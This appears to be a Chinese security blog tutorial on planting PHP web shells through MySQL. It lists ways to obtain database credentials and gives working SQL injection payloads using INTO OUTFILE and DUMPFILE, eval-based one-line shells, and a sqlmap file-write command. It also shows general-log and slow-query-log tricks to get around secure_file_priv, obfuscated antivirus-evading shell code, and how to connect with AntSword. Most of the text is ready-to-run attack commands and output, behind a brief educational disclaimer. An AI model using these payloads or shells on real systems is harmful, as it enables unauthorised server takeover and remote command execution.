0%

MySQL写shell的利用

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

关于MySQL写shell的方法网上基本很多了,我也在此总结下。众所周知,web渗透的成功很多是需要前置条件的,比如中间件的配置不当、账户权限的混淆等等,这些看起来或许只是为增强用户体验感而设计的功能,在安全研究人员的面前就变味了……


影响版本


全版本?


环境搭建

  1. Windows 7
  2. 点击下载phpStudy,安装并启动;

image-20211101110402178

漏洞复现

MySQL权限的获取

拿到 MySQL 的用户名和密码的方式多种多样:

  1. MySQL 3306 端口弱口令爆破
  2. sqlmap 注入的 --sql-shell 模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

MySQL shell的写入条件

  1. 数据库当前用户为root权限;
  2. 知道当前网站的绝对路径;
  3. PHPGPC为 off状态;(魔术引号,GET,POST,Cookie)
  4. 写入shell的路径存在写入权限;
  5. secure_file_priv 无限制。

outfile和dumpfile写shell

基础知识

outfiledumpfile的区别:

outfile:

  1. 支持多行数据同时导出;
  2. 使用union联合查询时,要保证两侧查询的列数相同;
  3. 会在换行符制表符后面追加反斜杠;
  4. 会在末尾追加换行。

dumpfile:

  1. 每次只能导出一行数据;
  2. 不会在换行符制表符后面追加反斜杠;
  3. 不会在末尾追加换行。

基于UNION联合查询

1
2
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23

非联合查询

当无法使用UNION联合查询时,可以使用fields terminated bylines terminated by来写shell

1
?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法

+号,%0a%0b%a0/**/注释符等

into oufile 写 shell

查询MySQL是否没有 secure_file_priv 限制;

1
2
3
4
5
6
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

说明:

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件。

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件。

原生一句话shell

满足上secure_file_priv为空的条件,那么可以尝试使用下面原生的 SQL 语句来直接写 一句话木马(直接在MySQL中执行):

1
select '<?php @eval($_POST[pass]); ?>' into outfile '/var/www/html/info.php';
sqlmap写入shell

sqlmap 中可以如下操作:

1
python .\sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --file-write='shellpass.php' --file-dest="/var/www/html/test/shell.php"

into dumpfile写shell

突破secure-file-priv写shell;

日志文件写shell,前提:

  • Web 文件夹宽松权限可以写入
  • Windows 系统下
  • 高权限运行 MySQL 或者 Apache

说到底,就是修改MySQL的日志变量路径为shell.php。一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

普通型shell

在MySQL命令行中依次执行:

1
2
3
4
5
6
7
8
show variables like '%general%';	--查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = 'C:\\phpStudy\\WWW\\shell\\shell.php'; --设置日志路径
# 若出现以下报错信息说明此MySQL用户没用写入目录文件的权限:
ERROR 1231 (42000): Variable 'general_log_file' can't be set to the value of 'C:
\phpStudy\WWW\shell\shell.php'
* 解决:手工在C:\phpStudy\WWW\shell\目录下新建shell.php文件
select '<?php @eval($_POST[pass])?>'; --执行查询,写入shell

具体操作如下演示;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> show variables like '%general%';
+------------------+------------------------------------+
| Variable_name | Value |
+------------------+------------------------------------+
| general_log | ON |
| general_log_file | C:\phpStudy\MySQL\data\long-PC.log |
+------------------+------------------------------------+
2 rows in set (0.00 sec)

mysql> set global general_log = on;
Query OK, 0 rows affected (0.00 sec)

mysql> set global general_log_file = 'C:\\phpStudy\\WWW\\shell\\shell.php';

Query OK, 0 rows affected (0.00 sec)

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | ON |
| general_log_file | C:\phpStudy\WWW\shell\shell.php |
+------------------+---------------------------------+
2 rows in set (0.00 sec)

mysql> select '<?php @eval($_POST[pass])?>';
+-----------------------------+
| <?php @eval($_POST[pass])?> |
+-----------------------------+
| <?php @eval($_POST[pass])?> |
+-----------------------------+
1 row in set (0.00 sec)
免杀型shell

利用改变MySQL日志变量环境写shell,还可以写入具有一定免杀性的shell;

1
2
3
select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
隐蔽型shell

利用改变MySQL日志变量环境写shell,还可以利用MySQL的特性慢查询来写shell;

1
2
3
4
5
为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
show variables like '%slow_query_log%'; --查看慢查询信息
set global slow_query_log=1; --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell

连接shell

使用中国蚁剑连接shell;

浏览器访问shell:http://192.168.220.130/shell/shell.php

image-20211101191655678

添加一条shell数据;

image-20211101191826638

启用虚拟终端执行命令;

image-20211101191936639

参考

  1. https://dropann.github.io/p/9409b6b3.html
  2. https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html

欢迎关注我的其它发布渠道